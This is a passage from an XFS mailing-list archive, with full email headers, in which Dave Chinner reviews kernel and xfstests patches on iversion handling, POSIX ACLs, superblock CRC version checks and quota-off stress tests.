ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:55:07 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VncrS-0007km-NX; Tue, 03 Dec 2013 10:25:06 +1100 Date: Tue, 3 Dec 2013 10:25:06 +1100 From: Dave Chinner To: Christoph Hellwig Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] fs: fix iversion handling Message-ID: <20131202232506.GG10988@dastard> X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling References: <20131119151707.GA13412@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131119151707.GA13412@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386026708 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142794 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Nov 19, 2013 at 07:17:07AM -0800, Christoph Hellwig wrote: > Currently notify_change directly updates i_version for size updates, > which not only is counter to how all other fields are updated through > struct iattr, but also breaks XFS, which need inode updates to happen > under its own lock, and synchronized to the structure that gets written > to the log. > > Remove the update in the common code, and it to btrfs and ext4, > XFS already does a proper updaste internally and currently gets a > double update with the existing code. > > IMHO this is 3.13 and -stable material and should go in through the XFS > tree. > > Signed-off-by: Christoph Hellwig Looks good to me. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 17:25:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 292A429DF9 for ; Mon, 2 Dec 2013 17:25:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B56F5AC004 for ; Mon, 2 Dec 2013 15:25:53 -0800 (PST) X-ASG-Debug-ID: 1386026752-04bdf06eed495460001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id kDEeev3mBHklDILk for ; Mon, 02 Dec 2013 15:25:52 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAOcVnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwGcXFo5yB4QzA5gTkhSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 09:55:51 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vncs9-0007ku-T8; Tue, 03 Dec 2013 10:25:49 +1100 Date: Tue, 3 Dec 2013 10:25:49 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: stop special casing nfs and udf Message-ID: <20131202232549.GV8803@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: stop special casing nfs and udf References: <20131107204635.GA22954@infradead.org> <20131122091553.GA32568@infradead.org> <20131202174045.GA21861@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202174045.GA21861@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386026752 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142794 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 09:40:45AM -0800, Christoph Hellwig wrote: > On Fri, Nov 22, 2013 at 01:15:53AM -0800, Christoph Hellwig wrote: > > ping? > > ping^2? I just got write access to the XFS git repos on oss.sgi.com, so I'll start hoovering up all the outstanding xfstests patches as a shakedown pass before I touch anything else... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 17:34:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A2BBB29DF9 for ; Mon, 2 Dec 2013 17:34:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 38A80AC004 for ; Mon, 2 Dec 2013 15:34:49 -0800 (PST) X-ASG-Debug-ID: 1386027287-04cb6c537e48d5c0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 8IeZ1NmU2mtcminw for ; Mon, 02 Dec 2013 15:34:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IADwYnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwH4WjnIHhDMDmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 10:04:46 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vnd0m-0007mm-Dp; Tue, 03 Dec 2013 10:34:44 +1100 Date: Tue, 3 Dec 2013 10:34:44 +1100 From: Dave Chinner To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, xfs@oss.sgi.com, Mark Fasheh , reiserfs-devel@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, Joel Becker , jfs-discussion@lists.sourceforge.net, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-nfs@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: Re: [PATCH 14/18] xfs: use generic posix ACL infrastructure Message-ID: <20131202233444.GH10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 14/18] xfs: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> <20131201120656.194735588@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120656.194735588@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386027287 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142794 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Sun, Dec 01, 2013 at 03:59:17AM -0800, Christoph Hellwig wrote: > Also create inodes with the proper mode instead of fixing it up later. > > Signed-off-by: Christoph Hellwig Nice cleanup work, Christoph. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From bpm@sgi.com Mon Dec 2 17:36:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 85D1429DF9 for ; Mon, 2 Dec 2013 17:36:30 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 40148304039; Mon, 2 Dec 2013 15:36:30 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 161D94266DC; Mon, 2 Dec 2013 17:36:30 -0600 (CST) Date: Mon, 2 Dec 2013 17:36:30 -0600 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: stop special casing nfs and udf Message-ID: <20131202233629.GM1935@sgi.com> References: <20131107204635.GA22954@infradead.org> <20131122091553.GA32568@infradead.org> <20131202174045.GA21861@infradead.org> <20131202232549.GV8803@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202232549.GV8803@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Dec 03, 2013 at 10:25:49AM +1100, Dave Chinner wrote: > On Mon, Dec 02, 2013 at 09:40:45AM -0800, Christoph Hellwig wrote: > > On Fri, Nov 22, 2013 at 01:15:53AM -0800, Christoph Hellwig wrote: > > > ping? > > > > ping^2? > > I just got write access to the XFS git repos on oss.sgi.com, so I'll > start hoovering up all the outstanding xfstests patches as a > shakedown pass before I touch anything else... You might want to chat with Rich. There may be some already in progress. -Ben From david@fromorbit.com Mon Dec 2 18:38:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F1EE37F58 for ; Mon, 2 Dec 2013 18:38:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D323A8F8094 for ; Mon, 2 Dec 2013 16:38:14 -0800 (PST) X-ASG-Debug-ID: 1386031089-04cb6c537e490330001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id O0hwvMYiEa3VEhAj for ; Mon, 02 Dec 2013 16:38:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAJknnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSYXdIIlAQEFOhwjEAgDFQMJJQ8FJQMhE4gAwGUXFo5yB4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:08:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vne00-0007tV-0R; Tue, 03 Dec 2013 11:38:00 +1100 Date: Tue, 3 Dec 2013 11:37:59 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 1/3] xfstests: introduce _require_xfs_crc_sb pre-checkup routine Message-ID: <20131203003759.GI10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfstests: introduce _require_xfs_crc_sb pre-checkup routine References: <52983C41.8000004@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52983C41.8000004@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386031089 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142795 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 03:03:29PM +0800, Jeff Liu wrote: > From: Jie Liu > > Introduce _require_xfs_crc_sb to rc. We can use it in pre-checkup > procedures to verify if the XFS test environment is configured with > CRC enabled or not for some particular test cases. > > Introduce a new helper _xfs_sb_version to get XFS super block version > to make the test case more flexiable if possible. e.g, if that is > v5 super block, the tests behavior might be different to old v4 sb. > > Refactor xfs/299 to use it. > > Signed-off-by: Jie Liu > --- > common/rc | 19 +++++++++++++++++++ > tests/xfs/299 | 9 +-------- > 2 files changed, 20 insertions(+), 8 deletions(-) > > diff --git a/common/rc b/common/rc > index f73414b..9f45279 100644 > --- a/common/rc > +++ b/common/rc > @@ -1579,6 +1579,25 @@ _check_xfs_filesystem() > return 0 > } > > +# Get XFS super block version > +_xfs_sb_version() > +{ > + sb_version=`$XFS_DB_PROG -r -c version $SCRATCH_DEV | \ > + awk -F= '{print $2}' | awk -F, '{print $1}' | \ > + cut -c3-` > + echo $sb_version > +} Ugh. I missed how nasty that code was originally. Maths, not string manipulations shoul dbe used here. i.e: versionnum filesystem version information. This value is currently 1, 2, 3, or 4 in the low 4 bits. [ Oh, look, xfs_db man page updates are needed ] So: $XFS_DB_PROG -r -c "sb 0" -c "p versionnum" $SCRATCH_DEV | \ awk '{ printf "%d\n", and(strtonum($3), 15) }' > +# This test requires XFS crc-enabled (v5) super block support > +_require_xfs_crc_sb() > +{ > + version=`_xfs_sb_version` > + if [ $version -lt 5 ] > + then > + _notrun "Can't run with older versions of superblock" _notrun "Need version 5 superblock support for this test" > + fi > +} > + Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 18:45:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A46017F58 for ; Mon, 2 Dec 2013 18:45:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4F3A2AC004 for ; Mon, 2 Dec 2013 16:45:28 -0800 (PST) X-ASG-Debug-ID: 1386031523-04bdf06eec499640001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id zVAqoA7J1gVpGNjn for ; Mon, 02 Dec 2013 16:45:23 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAKIonVJ5LHyk/2dsb2JhbABZgwe0JIVOgScXdIIlAQEFOhwjEAgDFQMJJQ8FJQMhE4gAwH8WjnIHhDMDmBOKUQSHP4FrgVIo Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:15:23 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vne6z-0007uU-Dt; Tue, 03 Dec 2013 11:45:13 +1100 Date: Tue, 3 Dec 2013 11:45:13 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 2/3] xfstests: Introduce xfs/323 to verify turn group/project quotas off Message-ID: <20131203004513.GJ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfstests: Introduce xfs/323 to verify turn group/project quotas off References: <52983C48.50007@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52983C48.50007@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386031523 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142795 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 03:03:36PM +0800, Jeff Liu wrote: > From: Jie Liu > > Introduce xfs/323 to verify that turn group/project quotas off > while user quotas is on. > > Signed-off-by: Jie Liu One minor thing: > +# Modify as appropriate. > +_supported_fs xfs > +_supported_os Linux > + > +_require_scratch > +_require_xfs_quota > +_require_xfs_crc_sb > + > +_qmount_option "uquota,gquota,pquota" > +_qmount > + > +TESTDIR=$SCRATCH_MNT/testdir Too similar to TEST_DIR. "quota_dir", or something like it, so people don't get confused by what device this test is running on at a glance. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 18:53:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 479047F58 for ; Mon, 2 Dec 2013 18:53:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 33A298F8089 for ; Mon, 2 Dec 2013 16:53:16 -0800 (PST) X-ASG-Debug-ID: 1386031994-04cbb04169496a40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Dvk4AqEcLT2Zn4jR for ; Mon, 02 Dec 2013 16:53:14 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IACYrnVJ5LHyk/2dsb2JhbABZgwe0JIVOgScXdIIlAQEFOhwjEAgDFQMJGgsPBSUDIROIAMBoFxaOJU0HhDMDmBOKUQSHP4FrgVIogS0 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:23:12 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VneEe-0007v2-GF; Tue, 03 Dec 2013 11:53:08 +1100 Date: Tue, 3 Dec 2013 11:53:08 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 3/3] xfstests: introduce xfs/324 to verify turn group/project quota off along with fsstress Message-ID: <20131203005308.GK10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfstests: introduce xfs/324 to verify turn group/project quota off along with fsstress References: <52983C4B.1090202@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52983C4B.1090202@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386031994 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142795 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 03:03:39PM +0800, Jeff Liu wrote: > From: Jie Liu > > Introduce xfs/324 to verify that we can turn group/project quotas off > while user quota is on and fsstress is running. > > Signed-off-by: Jie Liu .... > + > +# Modify as appropriate. > +_supported_fs xfs > +_supported_os Linux > + > +_require_scratch > +_require_xfs_quota > +_require_xfs_crc_sb Hmmm, now that I look at the way you are using _require_xfs_crc_sb, it's broken. The scratch device is in an undefined state until a test runs _scratch_mkfs on it. What you need to do is check whether mkfs supports "-m crc=1", and then mkfs the scratch device with that option set. > + > +_qmount_option "uquota,gquota,pquota" > + > +STRESS_DIR=$SCRATCH_MNT/testdir > + Where do you mkfs the scratch device? > +_exercise() > +{ > + type=$1 > + > + _qmount > + mkdir -p $STRESS_DIR > + > + $FSSTRESS_PROG -d $STRESS_DIR -n 100 -p 1000 $FSSTRESS_AVOID >>/dev/null 2>&1 & There's no real reason for creating a load of 1000 processes here. Half of them won't even get started before this: > + xfs_quota -x -c "off -$type" $SCRATCH_DEV is run. > + killall -q $FSSTRESS_PROG > + wait and then you kill them straight away. > + rm -rf $STRESS_DIR > + umount $SCRATCH_MNT You don't need this if you just scratch_mkfs the device between tests. So, wouldn't it be better to do: scratch_mkfs -m crc=1 _qmount mkdir -p $STRESS_DIR $FSSTRESS_PROG -d $STRESS_DIR -n 1000 -p 100 $FSSTRESS_AVOID >>/dev/null 2>&1 & sleep 10 xfs_quota -x -c "off -$type" $SCRATCH_DEV sleep 5 killall -q $FSSTRESS_PROG wait Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 18:56:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 21B037F58 for ; Mon, 2 Dec 2013 18:56:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8CBC6AC004 for ; Mon, 2 Dec 2013 16:56:24 -0800 (PST) X-ASG-Debug-ID: 1386032182-04cb6c537d490f00001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id FhfNaL8Gk4mK4rgq for ; Mon, 02 Dec 2013 16:56:22 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IACYrnVJ5LHyk/2dsb2JhbABZgwe0JIVOgScXdIIlAQEFOhwjEAgDFQMJJQ8FJQMhE4gAwGgXFo5yB4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:26:21 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VneHj-0007ve-2o; Tue, 03 Dec 2013 11:56:19 +1100 Date: Tue, 3 Dec 2013 11:56:19 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 1/3] xfstests: introduce _require_xfs_crc_sb pre-checkup routine Message-ID: <20131203005619.GL10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfstests: introduce _require_xfs_crc_sb pre-checkup routine References: <52983C41.8000004@oracle.com> <20131203003759.GI10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203003759.GI10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386032182 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142795 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 11:37:59AM +1100, Dave Chinner wrote: > On Fri, Nov 29, 2013 at 03:03:29PM +0800, Jeff Liu wrote: > > From: Jie Liu > > > > Introduce _require_xfs_crc_sb to rc. We can use it in pre-checkup > > procedures to verify if the XFS test environment is configured with > > CRC enabled or not for some particular test cases. > > > > Introduce a new helper _xfs_sb_version to get XFS super block version > > to make the test case more flexiable if possible. e.g, if that is > > v5 super block, the tests behavior might be different to old v4 sb. > > > > Refactor xfs/299 to use it. > > > > Signed-off-by: Jie Liu > > --- > > common/rc | 19 +++++++++++++++++++ > > tests/xfs/299 | 9 +-------- > > 2 files changed, 20 insertions(+), 8 deletions(-) > > > > diff --git a/common/rc b/common/rc > > index f73414b..9f45279 100644 > > --- a/common/rc > > +++ b/common/rc > > @@ -1579,6 +1579,25 @@ _check_xfs_filesystem() > > return 0 > > } > > > > +# Get XFS super block version > > +_xfs_sb_version() > > +{ > > + sb_version=`$XFS_DB_PROG -r -c version $SCRATCH_DEV | \ > > + awk -F= '{print $2}' | awk -F, '{print $1}' | \ > > + cut -c3-` > > + echo $sb_version > > +} > > Ugh. I missed how nasty that code was originally. Maths, not string > manipulations shoul dbe used here. i.e: > > versionnum filesystem version information. This value is > currently 1, 2, 3, or 4 in the low 4 bits. > > [ Oh, look, xfs_db man page updates are needed ] > > So: > > $XFS_DB_PROG -r -c "sb 0" -c "p versionnum" $SCRATCH_DEV | \ > awk '{ printf "%d\n", and(strtonum($3), 15) }' I just realised that the way this is being used is invalid. WE need to check that mkfs supports -m crc=1, and that the filesystem that is created can be mounted by the kernel. i.e. You can't just look at the superblock version number on the scratch device and say that the test can run because: a) the scratch device has not been initialised by the test and so can contain garbage from previous tests; and b) the kernel might not support CRCs even though the userspace utilities do. Hence we need to test for both userspace and kernel support here. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 19:03:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AE8C97F58 for ; Mon, 2 Dec 2013 19:03:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3CAC7AC004 for ; Mon, 2 Dec 2013 17:03:35 -0800 (PST) X-ASG-Debug-ID: 1386032612-04cbb04169496f70001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 77EtJBF42XwNcrqB for ; Mon, 02 Dec 2013 17:03:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAFMsnVJ5LHyk/2dsb2JhbABZgwe0JIVOgScXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwGoXFo5yB4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:28:05 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) 